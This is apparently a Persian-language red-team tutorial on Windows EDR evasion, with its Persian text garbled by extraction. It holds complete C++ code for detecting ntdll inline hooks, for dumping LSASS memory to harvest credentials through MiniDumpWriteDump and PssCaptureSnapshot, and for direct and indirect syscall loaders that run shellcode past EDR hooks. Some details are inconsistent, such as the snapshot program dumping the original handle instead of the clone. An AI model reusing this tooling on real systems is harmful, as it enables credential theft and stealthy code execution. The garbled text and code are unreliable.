 .شودی، ختم مNtOpenProcessقرار دارد، مانند  ntdll.dllکه در  یستمیس یفراخوان stub کیمعمولاً به 

( نیماش یهادنباله ثابت از دستورالعمل کی) ییقابل شناسا prologue یدارا syscall یهاstub نیا

 :شوندیم دهی( دx64شکل )در  نیهستند و معمولاً به ا

mov     r10, rcx 
mov     eax, <syscall_number> 
syscall 
ret  

 صورت هستند: نیاول معمولاً به ا تیبا چهار

4C 8B D1 B8   

EDRدستور  کیکد را با درج  نیها اغلب اJMP تابع  یدر ابتداpatch دهید ریکه به شکل ز کنندیم 

 :شودیم

E9 XX XX XX XX   

(. edrhook.dll)مثلاً  EDR ینظارت DLLبه  ریمس رییتغ یعنی—شودیگفته م trampoline کیروش  نیا به

شده  توریمان طیمح کیدر  ایدهند که آ صیتا تشخ کندیکمک م لگرانیبه تحل رییتغ نیا ییشناسا

 .ریخ ایهستند 
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 Inline Hook ییکار شناسا روش

 NTDLLاز  export یرکتوریدا یبارگذار .1

 شوندیشروع م "Zw" ای "Nt"که با  یتوابع یرو شیمایپ .2

 کردن آدرس تابع در حافظه دایپ .3

 اول تابع تیبا 5 ای 4خواندن  .4

 ریمس رییتغ یالگوها یبررس ای syscall (4C 8B D1 B8)شده شناخته prologueبا  سهیمقا .5

 مانند:

 E9 (JMP) 

 CC (INT2 breakpoint) 

 مربوطه DLLو نگاشت آن به  JMPمقصد دستور  شیو نما ییشناسا .6

 

 C++: detect_hooked_syscalls.cppکامل  کد

#include <Windows.h> 

#include <Psapi.h> 

#include <iostream> 

#include <string> 

 

#pragma comment(lib, "Psapi.lib") 

 

int main() 
{ 
    // Load the in-memory NTDLL module 
    HMODULE ntdllBase = LoadLibraryA("ntdll.dll"); 
    if (!ntdllBase) { 
        std::cerr << "[-] Failed to load ntdll.dll" << 

std::endl; 
        return 1; 
    } 
 

    // Read the PE headers 
    PIMAGE_DOS_HEADER dosHeader = 

(PIMAGE_DOS_HEADER)ntdllBase; 
    PIMAGE_NT_HEADERS ntHeaders = 

(PIMAGE_NT_HEADERS)((BYTE*)ntdllBase + dosHeader-

>e_lfanew);  
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// Locate the export directory 

    DWORD exportRVA = ntHeaders-

>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPO

RT].VirtualAddress; 

    PIMAGE_EXPORT_DIRECTORY exportDir = 

(PIMAGE_EXPORT_DIRECTORY)((BYTE*)ntdllBase + exportRVA); 

 

    // Resolve export tables 

    PDWORD functionRVAs = (PDWORD)((BYTE*)ntdllBase + 

exportDir->AddressOfFunctions); 

    PDWORD nameRVAs = (PDWORD)((BYTE*)ntdllBase + 

exportDir->AddressOfNames); 

    PWORD ordinals = (PWORD)((BYTE*)ntdllBase + 

exportDir->AddressOfNameOrdinals); 

 

    // Expected syscall stub prologue (mov r10, rcx; mov 

eax, syscall_id) 

    const BYTE syscallPrologue[] = { 0x4C, 0x8B, 0xD1, 

0xB8 }; 

 

    std::cout << "[+] Scanning ntdll.syscalls for inline 

hooks...\n"; 

 

    for (DWORD i = 0; i < exportDir->NumberOfNames; ++i) 

    { 

        const char* functionName = (const 

char*)ntdllBase + nameRVAs[i]; 

 

        // Only scan Nt* and Zw* functions 

        if (strncmp(functionName, "Nt", 2) != 0 && 

strncmp(functionName, "Zw", 2) != 0) 

            continue; 

 

        // Resolve function address 

        WORD ordinal = ordinals[i]; 

        DWORD funcRVA = functionRVAs[ordinal]; 

        BYTE* funcAddress = (BYTE*)ntdllBase + funcRVA; 

 

        // Compare first 4 bytes with clean syscall 

prologue 

        if (memcmp(funcAddress, syscallPrologue, 

sizeof(syscallPrologue)) != 0) 

        { 

            // If first byte is 0xE9 (jmp), likely a 

trampoline 

            if (funcAddress[0] == 0xE9) 

            {  
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                DWORD relOffset = *(DWORD*)(funcAddress 

+ 1); 
                BYTE* jmpTarget = funcAddress + 5 + 

relOffset; 
 

                char modulePath[MAX_PATH] = {}; 
                if 

(GetMappedFileNameA(GetCurrentProcess(), jmpTarget, 

modulePath, MAX_PATH)) { 
                    std::cout << "[HOOKED] " << 

functionName << " at " << (void*)funcAddress 
                              << " => JMP to " << 

(void*)jmpTarget 
                              << " (Module: " << 

modulePath << ")\n"; 
                } else { 
                    std::cout << "[HOOKED] " << 

functionName << " at " << (void*)funcAddress 
                              << " => JMP to " << 

(void*)jmpTarget 
                              << " (unknown module)\n"; 
                } 
            } 
            else { 
                std::cout << "[SUSPICIOUS] " << 

functionName << " at " << (void*)funcAddress 
                          << " has unexpected 

prologue\n"; 
            } 
        } 
    } 
 

    std::cout << "[+] Scan completed.\n"; 
    return 0; 
}  

 یخروج نمونه

[+] Scanning ntdll.syscalls for inline hooks... 
[HOOKED] NtOpenProcess at 0x7ffcc2da1000 => JMP to 

0x7ffcaaaa1000 (Module: C:\Program 

Files\EDR\edrhook.dll) 
[SUSPICIOUS] NtProtectVirtualMemory at 0x7ffcc2da1040 

has unexpected prologue 
[+] Scan completed.  
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 استفاده موارد

 یاز اجرا شیپ direct ای indirect syscallبودن  زیاز تم نانیاطم ی، براNTDLL 

 ییشناسا نیدر ح sandbox دور زدن  ایEDR 

 روال  کی ایآ نکهیا یهنگام بررسunhooking  ًواقعاntdll.dll نه ایکرده است  یابیرا باز 

 اتیعمل ایبدافزار  لیدر تحل red teaming 

 هاتیمحدود

  فقطhookدر  یخطدرون یهاntdll.dll نه  کند،یم یرا بررسIAT ای SSDT hookها 

 کامل  ینیگزیجاDLL  توسطEDR کندینم یرا بررس (API reimplementation) 

 کیبر اساس  صیتشخ prologue  برخی—است یتیبا 4ثابت stubیها syscall  ممکن است

 متفاوت باشند یکم
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Dump  گرفتن ازLSASS  با استفاده ازMiniDumpWriteDump 

 مقدمه

 یشدهمحافظت ندیفرآ کی( Local Security Authority Subsystem Service)مخفف  lsass.exe ندیفرآ

 یو نگهدار یاطلاعات کاربر یاعتبارسنج تیریمد ،یتیامن یهااستیس یاست که مسئول اجرا ندوزیو

 مانند یار حساسیبس یهاداده تواندیم ندیفرآ نیا یگرفتن از حافظه Dump. هست یدسترس یهاتوکن

موضوع  نی( را افشا کند، که همplaintext credentials) یمتن یهااعتبارنامه یو حت NTLM یهاهش

 باشد. post-exploitation یدر مرحله یهدف مهم شودیباعث م

 ندوزیو APIبا استفاده از  ،یسینوصورت برنامهبه توانیکه چگونه م دهدیم حیمقاله توض نیا

MiniDumpWriteDump  که در کتابخانهdbghelp.dll  ،کیقرار دارد dump  حافظه ازLSASS کرد.  جادیا

 .دهندیم مانجا صحنهپشتدر  Mimikatz ای ProcDumpمانند  ییاست که ابزارها یروش مشابه کار نیا

 ؟MiniDumpWriteDump چرا

API  تابعMiniDumpWriteDump است که به  ندوزیدر و شدهیبانیو پشت یرسم تیقابل کی

 تواندیم snapshot نی. ارندیهدف بگ ندیفرآ کی( از snapshot) یریتصو دهدیدهندگان اجازه متوسعه

 ادهستفا یکه هنگام فراخوان هاییفلگ به بسته—باشد گریها و موارد دها، نخشامل حافظه، جداول هندل

 .شودیم

و  نیصورت آفلاحافظه به یکه محتوا دهدیرا م امکان نیا شود،یاعمال م lsass.exe یتابع رو نیا یوقت

 شود. لیتحل pypykatz ای Mimikatzمثل  ییبا ابزارها

. شودیم توریمان EDR یبه شدت توسط راهکارها کیتکن نیگسترده، ا یهاسوءاستفاده لی، به دلحالبااین

 دورزننده همچنان ارزشمند است. یهانسخه یو طراح هیاصول پا یریادگیوجود،  نیبا ا

 (Privilege Requirement) یسطح دسترس یازمندین

مجوز  ،یسطح دسترس نیباشد. ا SeDebugPrivilege یدارا دیفراخواننده با ندی، فرآLSASSتعامل با  یبرا

 .دهدیرا م lsass.exeشده مانند محافظت یندهایو باز کردن فرآ یبررس

 کد یبررس

ارائه شده است. هر بخش همراه با  مالینیم LSASS dumper کیاز  ++Cکامل  یسازادهیپ کیادامه،  در

 آمده است. حیتوض
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#include <windows.h> 

#include <tlhelp32.h> 

#include <dbghelp.h> 

#include <iostream> 

 

#pragma comment(lib, "dbghelp.lib") // Link against the 

Debug Help Library  

 SeDebugPrivilege یسازفعال
bool EnablePrivilege(LPCWSTR priv) { 
    HANDLE hToken; 
    TOKEN_PRIVILEGES tp; 
    LUID luid; 
 

    if (!OpenProcessToken(GetCurrentProcess(), 

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 
        return false; 
 

    if (!LookupPrivilegeValue(NULL, priv, &luid)) 
        return false; 
 

    tp.PrivilegeCount = 1; 
    tp.Privileges[0].Luid = luid; 
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 

    return AdjustTokenPrivileges(hToken, FALSE, &tp, 

sizeof(TOKEN_PRIVILEGES), NULL, NULL); 
}  

باشد و امکان  SeDebugPrivilegeتا شامل  دهدیرا ارتقاء م یجار ندیفرآ یتابع سطح دسترس نیا

 شده را فراهم کند.محافظت یندهایبه فرآ یدسترس

 LSASSمربوط به  PIDکردن  دایپ

DWORD GetLsassPID() { 
    PROCESSENTRY32 entry; 
    entry.dwSize = sizeof(PROCESSENTRY32); 
 

    HANDLE snapshot = 

CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
    if (Process32First(snapshot, &entry)) { 
        do { 
            if (_wcsicmp(entry.szExeFile, L"lsass.exe") 

== 0) { 
                CloseHandle(snapshot); 
                return entry.th32ProcessID; 
            }  
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        } while (Process32Next(snapshot, &entry)); 
    } 
    CloseHandle(snapshot); 
    return 0; 
} 

مربوط به  PIDکرده و  شیمایدر حال اجرا پ یندهایفرآ نیتابع ب نی، اToolHelp APIاستفاده از  با

lsass.exe گرداندیرا برم. 

 برنامه یاصل منطق

int main() { 
    if (!EnablePrivilege(SE_DEBUG_NAME)) { 
        std::cerr << "[-] Failed to enable 

SeDebugPrivilege.\n"; 
        return 1; 
    }  

 قابل اجرا باشند. یباشد تا مراحل بعد زیآمتیموفق دیبا یسطح دسترس یسازفعال

    DWORD pid = GetLsassPID(); 
    if (pid == 0) { 
        std::cerr << "[-] Could not find lsass.exe\n"; 
        return 1; 
    }  

 بر اساس نام آن. lsass.exe ندیکردن فرآ دایپ

    HANDLE hProcess = 

OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 

FALSE, pid); 
    if (!hProcess) { 
        std::cerr << "[-] Failed to open LSASS 

process.\n"; 
        return 1; 
    }  

لازم شامل  ی. سطح دسترسشودیگرفته م LSASSهندل به  کی، OpenProcessاستفاده از  با

PROCESS_QUERY_INFORMATION  وPROCESS_VM_READ .است 

    HANDLE hFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 

0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 
    if (!hFile) { 
        std::cerr << "[-] Failed to create dump 

file.\n"; 
        return 1; 
    }  
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 شود. رهیدر آن ذخ ندیفرآ dumpتا  شودیم جادیا lsass.dmpبا نام  یمحل لیفا کی

    BOOL success = MiniDumpWriteDump(hProcess, pid, 

hFile, MiniDumpWithFullMemory, NULL, NULL, NULL); 
    if (success) { 
        std::cout << "[+] Dump written to lsass.dmp\n"; 
    } else { 
        std::cerr << "[-] Dump failed.\n"; 
    } 
 

    CloseHandle(hFile); 
    CloseHandle(hProcess); 
    return 0; 
}  

. کندیم رهیشده ذخمشخص لیرا در فا ندیفرآ یحافظه تیمحتوا و وضع MiniDumpWriteDump تابع

و اطلاعات  stack)نه فقط  افتهیصیتخص یکل حافظه شودیباعث م MiniDumpWithFullMemoryفلگ 

 .ردیقرار گ dumpها( در نخ

 

 اجرا جهینت -  17 ریتصو

 نتیجه اجرا
 مانند: ییبا ابزارها توانیرا م lsass.dmp یخروج لیفا

 Mimikatz (sekurlsa::minidump) 
 pypykatz 
 Rekall ای Volatility 

 را استخراج نمود. گریو موارد د Kerberos یهاکتیها، تها، هشکرد و اعتبارنامه لیتحل
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 و دفاع ییشناسا

EDRمدرن معمولاً  یهاMiniDumpWriteDump  راhook حافظه،  یبا استفاده از الگوها ای کنندیم

 مانند: یرفتار یهاشاخص ایدستورات خط فرمان، 

  استفاده ازSeDebugPrivilege 
 به  یدسترسLSASS  باOpenProcess 

 یهالیفا جادیا .dmp 

 .کنندیم ییرا شناسا آن

 مانند: یترکارانهپنهان یهامعمولاً روش هاسیبدافزارنو ایقرمز  یهامیت

 میمستق یهانسخه syscall 

 Fork  کردن وdump فرزند ندیگرفتن از فرآ 

 حافظه یدست شیمایپ 

  استفاده ازPssCaptureSnapshot 

 .برندیم به کار را
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Dump  گرفتن ازLSASS  با استفاده ازPssCaptureSnapshot  و
MiniDumpWriteDump 

 مقدمه

 یاز اهداف اصل یکی ندوز،ی( در وLocal Security Authority Subsystem Service)مخفف  LSASS ندیفرآ

 رهیرا در حافظه ذخ یحساس یهااعتبارنامه رای( و توسعه بدافزار است، زRed Teamقرمز ) میت عملیاتدر 

 .کندیم

 یهامعمولاً توسط سامانه LSASS یرو MiniDumpWriteDumpاز  میمانند استفاده مستق یسنت یهاروش

EDR شوندیم ییشناسا ای( مسدود یانیو پاسخ نقطه پا یی)شناسا. 

 ندوزیو APIبا استفاده از  snapshotبر  یمبتن dumpموضوع، مهاجمان از  نیدور زدن ا یبرا

PssCaptureSnapshot معرف(2012و سرور  8.1 ندوزیدر و شدهی R2 )کیتکن نی. اکنندیاستفاده م 

 یآن را بدون دسترس توانیکه م کند،یرا فراهم م LSASS ینسخه کلون از حافظه کی جادیامکان ا

 .ابدییکاهش م ییسطح شناسا جهنتی در—کرد snapshot dumpهنگام گرفتن  یاصل ندیبه فرآ میمستق

 API یدیکل توابع

 PssCaptureSnapshot گرفتن :snapshot در حال اجرا. ندیفرآ کیون( از )کل 

 MiniDumpWriteDump لیبه فا ندیفرآ کی: نوشتن حافظه .dmp. 

 OpenProcess  وEnablePrivilege گرفتن هندل به :LSASS باگید یو فعال کردن دسترس. 

 یخطدرون حاتیهمراه با توض ++Cکامل  کد

#include <windows.h> 

#include <tlhelp32.h> 

#include <iostream> 

#include <processsnapshot.h> 

#include <DbgHelp.h> 

 

#pragma comment(lib, "dbghelp.lib") 

#pragma comment(lib, "kernel32.lib") 

 

// Enables SE_DEBUG_NAME privilege in the current 

process token 

bool EnablePrivilege(LPCWSTR privName) { 
    HANDLE hToken; 
    TOKEN_PRIVILEGES tp; 
    LUID luid;  
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    // Open current process token 
    if (!OpenProcessToken(GetCurrentProcess(), 

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 
        return false; 
 

    // Lookup LUID for the privilege 
    if (!LookupPrivilegeValue(NULL, privName, &luid)) 
        return false; 
 

    // Enable the privilege 
    tp.PrivilegeCount = 1; 
    tp.Privileges[0].Luid = luid; 
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 

    return AdjustTokenPrivileges(hToken, FALSE, &tp, 

sizeof(tp), NULL, NULL); 
} 
 

// Enumerates all processes and finds the PID of 

lsass.exe 

DWORD GetLsassPID() { 
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) }; 
    HANDLE hSnap = 

CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
 

    if (Process32First(hSnap, &pe)) { 
        do { 
            if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 

0) { 
                CloseHandle(hSnap); 
                return pe.th32ProcessID; 
            } 
        } while (Process32Next(hSnap, &pe)); 
    } 
 

    CloseHandle(hSnap); 
    return 0; 
} 
 

int main() { 
    std::cout << "[+] Starting LSASS snapshot dump using 

PssCaptureSnapshot...\n"; 
 

    // Step 1: Enable SeDebugPrivilege 
    if (!EnablePrivilege(SE_DEBUG_NAME)) { 
        std::cerr << "[-] Failed to enable 

SeDebugPrivilege.\n";  
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        return 1; 
    } 
    // Step 2: Get LSASS process ID 
    DWORD lsassPid = GetLsassPID(); 
    if (!lsassPid) { 
        std::cerr << "[-] Could not find LSASS 

process.\n"; 
        return 1; 
    } 
 

    // Step 3: Open LSASS process with full access 
    HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, 

FALSE, lsassPid); 
    if (!hLsass) { 
        std::cerr << "[-] Failed to open LSASS 

process.\n"; 
        return 1; 
    } 
 

    // Step 4: Capture snapshot using PssCaptureSnapshot 
    HPSS snapshotHandle = nullptr; 
    DWORD status = PssCaptureSnapshot( 
        hLsass, 
        PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | 

PSS_CAPTURE_HANDLE_NAME_INFORMATION | 
        PSS_CAPTURE_THREADS | 

PSS_CAPTURE_THREAD_CONTEXT, 
        CONTEXT_ALL, 
        &snapshotHandle 
    ); 
 

    if (status != ERROR_SUCCESS) { 
        std::cerr << "[-] PssCaptureSnapshot failed. 

Error: " << status << "\n"; 
        CloseHandle(hLsass); 
        return 1; 
    } 
 

    // Step 5: Create output file to write the memory 

dump 
    HANDLE hFile = CreateFileW(L"lsass_pss.dmp", 

GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 

FILE_ATTRIBUTE_NORMAL, NULL); 
    if (hFile == INVALID_HANDLE_VALUE) { 
        std::cerr << "[-] Failed to create dump 

file.\n";  
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        PssFreeSnapshot(GetCurrentProcess(), 

snapshotHandle); 
        CloseHandle(hLsass); 
 

        return 1; 
    } 
 

    // Step 6: Write memory dump using MiniDumpWriteDump 

(dump original handle) 
    BOOL dumped = MiniDumpWriteDump( 
        hLsass, lsassPid, 
        hFile, 
        MiniDumpWithFullMemory, 
        NULL, NULL, NULL 
    ); 
    if (!dumped) { 
        std::cerr << "[-] MiniDumpWriteDump failed. 

Error: " << GetLastError() << "\n"; 
    } else { 
        std::cout << "[+] Memory dump written 

successfully to lsass_pss.dmp\n"; 
    } 
 

    // Step 7: Cleanup 
    CloseHandle(hFile); 
    PssFreeSnapshot(GetCurrentProcess(), 

snapshotHandle); 
    CloseHandle(hLsass); 
    return 0; 
}  

 کیتکن نیعملکرد ا نحوه

 PssCaptureSnapshot از  یخواندنکلون فقط کیLSASS کندیم جادیدر حافظه ا. 

 منعکس  یاصل ندیرا بدون دخالت فعال در فرآ اءیصفحات حافظه و اش یکلون همه نیا

 .کندیم

 توانیم dump در زمان وجود  یاز همان هندل اصل یحت ایکلون  نیرا از ا(snapshot ،گرفت )

 .شوندیم ییکه معمولاً شناسا یسنت API یبدون استفاده از الگوها

 یبرخ EDR ها هنوز ممکن استPssCaptureSnapshot خصوص اگر نکنند، به توریرا مانdump 

 نوشته شود. انهیبه روش مخف
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 EDR ملاحظات

 شامل: هانیگزیجا نیبنابرا کنند،یم شیرا پا MiniDumpWriteDumpها همچنان EDR یبرخ    

 Dump آن یبه حافظه و رمزگذار 

 قیاز طر یارسال خروج Named Pipe 

  استفاده ازsyscall ای میمستق wrapperیبرا میرمستقیغ یها MiniDumpWriteDump 

و  ییرمزگشا سکید یرا بدون نوشتن رو LSASSحافظه  یهابخش تر،شرفتهیپ evasive یهانسخه    

 .کنندیم یبازساز
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 Direct Syscallمثال 
 VirtualAllocExو  RedOps.at: سندهینو

 VirtualAllocEx – Direct vs Indirect Syscalls (CT_Indirect_Syscalls)مرجع:  مخزن

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-

Syscalls/tree/main/CT5%FIndirect5%FSyscalls/CT5%FIndirect5%FSyscalls 

 یکل مرور

 قیکرنل را از طر یهاسیبه سرو یاجازه دسترس User-mode یندهایبه فرا ندوزیو عاملستمیس

Windows Native API قیکه معمولاً از طر ntdll.dll مانند  یتیامن ی. ابزارهادهدیم شود،یارائه مEDR 

(Endpoint Detection & Response) توابع را  نیاHook ایمشکوک را نظارت  یهاتیتا فعال کنندیم 

 Direct Syscallsبه نام  یقرمز اغلب از روش یهامینظارت، مهاجمان و ت نیدور زدن ا یمسدود کنند. برا

 .کنندیاستفاده م

Direct Syscalls  شامل دور زدن کاملAPI یها ntdll.dll دستور  یدست جادیشده و اهکsyscall  و پرش

 به کرنل است. میمستق

 دیو مدل تهد زهیانگ

با  EDR ی، ابزارهاNtCreateThreadEx ای NtAllocateVirtualMemoryمانند  یسنت یهایفراخوان در

inline hooking بخش ،stub دستور  کیرا با  یاصلjmp  بهDLL کنندیم نیگزیخودشان جا نگیتوریمان .

 کند. یبررس اها و رفتار رآرگومان ،سیستم کالرد  ایقبل از اجازه  EDRکه  شودیکار باعث م نیا

 .شودیم EDR صیتشخ نیباعث فعال شدن قوان ()NtWriteVirtualMemory میمستق ی: فراخوانمشکل

کرده و دستور  میرا تنظ سترهایکه رج یتابع سفارش جادی( و اSSN) سیستم کال: خواندن شماره حلراه

syscall  هر نوع  بیترت نیاجرا کند، و بد یدست تصوربهراHook  درUserland .را دور بزند 

 Direct Syscalls یاصل ساختار

 :میدار ازیبه سه بخش ن Direct Syscalls یدست یسازادهیپ یبرا

1. syscalls.h — سیستم کالشماره  یرهایو متغ یهدر با اعلان توابع خارج لفای. 

2. syscalls.asm — کندیرا اجرا م هاسیستم کال یدست صورتبهکه  یاسمبل لفای. 

3. main.c — کد C++  کندیم یرا استخراج کرده و آن را فراخوان سیستم کالکه شماره. 

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
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 (syscalls.hهدر ) لیفا

 :کندیو آدرس پرش را اعلان م هاسیستم کالشماره  یبرا یخارج یرهایتوابع و متغ پیپروتوتا لیفا نیا

extern NTSTATUS NtAllocateVirtualMemory(...); 
extern DWORD wNtAllocateVirtualMemory; 
extern UINT_PTR sysAddrNtAllocateVirtualMemory;  

 (syscalls.asm) یاسمبل لیفا

 :NtAllocateVirtualMemory یهستند. مثال برا سیستم کال یواقع stubشامل  یاسمبل یهاروال

NtAllocateVirtualMemory PROC 
    mov r10, rcx                    ; Move the 1st 

parameter into r10 
    mov eax, wNtAllocateVirtualMemory  ; Load syscall 

number 
    jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]  ; 

Jump to syscall instruction in ntdll.dll 
NtAllocateVirtualMemory ENDP  

( آماده کرده و سپس به رهیو غ R10 ،RDX) ندوزیو سیستم کال یرا طبق قراردادها سترهایکد رج نیا

 .پردی( مHookسالم )بدون  ntdll.dllدر  سیستم کالدستور 

 (main.cpp) یبرنامه اصل منطق

 انجام کار: مراحل

 از حافظه. ntdll.dll ایپو یبارگذار .1

 (.4)معمولاً آفست + ntdll!NtXxxتابع  stubاز  سیستم کالاستخراج شماره  .2

 (.0x12)معمولاً آفست + سیستم کالدستور  یمحاسبه آدرس واقع .3

 .یاستفاده اسمبل یبرا یسراسر یرهایاطلاعات در متغ رهیذخ .4

 :NtAllocateVirtualMemory یبرا نمونه

UINT_PTR pNtAllocateVirtualMemory = 

(UINT_PTR)GetProcAddress(hNtdll, 

"NtAllocateVirtualMemory"); 
wNtAllocateVirtualMemory = ((unsigned 

char*)(pNtAllocateVirtualMemory + 4))[0]; 
sysAddrNtAllocateVirtualMemory = 

pNtAllocateVirtualMemory + 0x12;  
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 Wrapper نیبا استفاده از هم یسازنخ و همگام جادیکد، اشل قیحافظه، تزر صیتخص اتیعمل سپس

 :شودیانجام م سیستم کال یها

NtAllocateVirtualMemory(...); 
NtWriteVirtualMemory(...); 
NtCreateThreadEx(...); 
NtWaitForSingleObject(...);  

 

 Direct Syscall یاجرا جهینت - 18 ریتصو

 ها EDRنحوه دور زدن 

Direct Syscalls کامل از  طوربهstub یها ntdll!NtXxx کندیعبور نم .EDR که  ییهاUser-mode hook 

 .شودیم هاآن نگیتوریروش باعث شکست مان نیهستند، پس ا یها متک API نیا یدارند، رو

 ممکن است: شرفتهیپ یها EDR اما

  ازkernel callbacks ناشناخته استفاده کنند. هایسیستم کال نگیتوریمان یبرا 

 که از خارج حافظه  ییهاکالستمیسntdll.dll را مشکوک بدانند. ندیآیم 

در حافظه  سیستم کالکه پرش مجدد به دستور  ییجا ابد،ییکاهش م Indirect Syscallsمشکل با  نیا

ntdll (.کندیم دیتقل یسازادهیپ نیطور که ا)همان شودیانجام م 

 هاتیمحدود

  متفاوت است. استفاده از آفست  ندوزیمختلف و یلدهایها و بدر نسخه هاسیستم کالشماره

 شود. یثابت ممکن است باعث خراب

 EDR یکپارچگیکه  ییها Stack از  ای کنندیم یرا بررسETW هنوز ممکن  کنند،یاستفاده م

 دهند. صیرفتار را تشخ نیاست ا
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 یبه دسترس ازین یندیفرانیب قیتزر یبرا SE_DEBUG_NAME .است 

 یریگجهینت

 حیمدرن را توض یندوزهایکد در وشل یو اجرا قیتزر یبرا Direct Syscall یحداقل Loader کیمقاله  نیا

 یسنت یها Hook توانیکرنل، م یهابه انتقال میو پرش مستق هاسیستم کالشماره  ایداد. با حل پو

Userland .را دور زد 

به شمار  EDRدور زدن  ای یبردارپس از بهره یپنهان اتیعمل یقدرتمند برا یروش همچنان ابزار نیا

 قرمز. میت اتیدر عمل ژهیوبه د،یآیم

 :منابع

 GitHub Project: Direct & Indirect Syscalls – CT_Indirect_Syscalls 

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-

Syscalls/tree/main/CT5%FIndirect5%FSyscalls/CT5%FIndirect5%FSyscalls 

 SysWhispers3 

https://github.com/jthuraisamy/SysWhispers2 

 Hell’s Gate Technique 

https://github.com/am0nsec/HellsGate 

 Halo’s Gate (SEKTOR7) 

https://blog.sektor7.net/#!res/2021/halosgate.md 

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
https://github.com/jthuraisamy/SysWhispers2
https://github.com/am0nsec/HellsGate
https://blog.sektor7.net/#!res/2021/halosgate.md
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 Indirect Syscallمثال 
 VirtualAllocEx GitHub – CT_Indirect_Syscallsمرجع پروژه: 

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-

Syscalls/tree/main/CT5%FIndirect5%FSyscalls/CT5%FIndirect5%FSyscalls 

 مقدمه

 یی، شناساEDR (Endpoint Detection and Response)مدرن  یتیامن یهاستمیروزافزون س شرفتیبا پ

 تر شده است.آسان هاآن ی( براDirect Syscalls) میمستق هایسیستم کال

 یاجرا را با استفاده از دستورها یکاریشده که مخف Indirect Syscall کیموضوع باعث ظهور تکن نیا

دلخواه  ٔ  هیناح کیکه از  نیا جایبه کند،یحفظ م ntdll.dll معتبر ٔ  حافظه یاز داخل فضا سیستم کال

 استفاده کند. exeبخش . ایکد بافر شل کیمانند 

 :قیاز طر شودیم یکاریمخف شیباعث افزا کیتکن نیا

 حیصح استفاده از مکان Stub داخل  سیستم کالntdll.dll 

 به آدرس خارج از  سیستم کالاز بازگشت  یاز هشدار ناش یریجلوگntdll.dll 

 یمفهوم نهیزمشیپ

Indirect Syscalls ستند؟یچ 
Indirect Syscalls هدف مشابه  ازنظرDirect Syscalls  :ماً یمستق دهندیبه کد کاربر اجازه م هاآنهستند 

گذاشته شده  ntdll.dll یرو EDRدر سطح کاربر که توسط  API یها Hookل منتقل شود و به حالت کرن

 را دور بزند.

 به (mov r۶0, rcx; mov eax, <SSN>; syscall مثال: ی)برا سیستم کال Stubکردن  یکپ جایبه اما

کار  نی. امیکنیم تیهدا ntdll.dllداخل  یاصل سیستم کالبرنامه را به دستور  یبخش کد خودمان، اجرا

 .شودیم یکاریمخف ریچشمگ شیباعث افزا

 است؟ ازیکار ن نیبه ا چرا

EDRمثل  یها اغلب توابعNtAllocateVirtualMemory  درntdll.dll  راHook تا رفتار برنامه را  کنندیم

 که: کنندیم یبررس نیهمچن هاآنکنند.  شیپا

 داخل  سیستم کالدستور  ایآntdll.dll نه ایرد قرار دا 

 ایآ ( آدرس بازگشتReturn Address )نه ای دارد قرار انتظار مورد ٔ  در حافظه سیستم کال 

https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls/tree/main/CT_Indirect_Syscalls/CT_Indirect_Syscalls
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 .شودیفعال م صینقض شوند، تشخ اتیفرض نیا یوقت

 کد یسازادهیپ اتیجزئ

1 .main.c – سیستم کال یسازلودر و آماده 

// Load function address from ntdll 

UINT_PTR pNtAllocateVirtualMemory = 

(UINT_PTR)GetProcAddress(hNtdll, 

"NtAllocateVirtualMemory"); 
wNtAllocateVirtualMemory = ((unsigned 

char*)(pNtAllocateVirtualMemory + 4))[0]; 
 

// Jump to legitimate syscall stub within ntdll 

sysAddrNtAllocateVirtualMemory = 

pNtAllocateVirtualMemory + 0x12;  

 :کندیرا استخراج م ریکد موارد ز نیا

  سیستم کالشماره (wNtAllocateVirtualMemory) 

  داخل  سیستم کالآدرس دستورntdll.dll + افست(0x12) 

 :شودیهم تکرار م ریموارد ز یروند برا نیهم

 NtWriteVirtualMemory 
 NtCreateThreadEx 
 NtWaitForSingleObject 

 آن یکد و اجراشل یاختصاص حافظه برا. 2

NtAllocateVirtualMemory( 
    (HANDLE)-1, &allocBuffer, 0, &buffSize, 
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
 

NtWriteVirtualMemory( 
    GetCurrentProcess(), allocBuffer, 
    shellcode, sizeof(shellcode), &bytesWritten); 
 

NtCreateThreadEx( 
    &hThread, GENERIC_EXECUTE, NULL, 

GetCurrentProcess(), 
    (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 

0, 0, NULL); 
 

NtWaitForSingleObject(hThread, FALSE, NULL);  



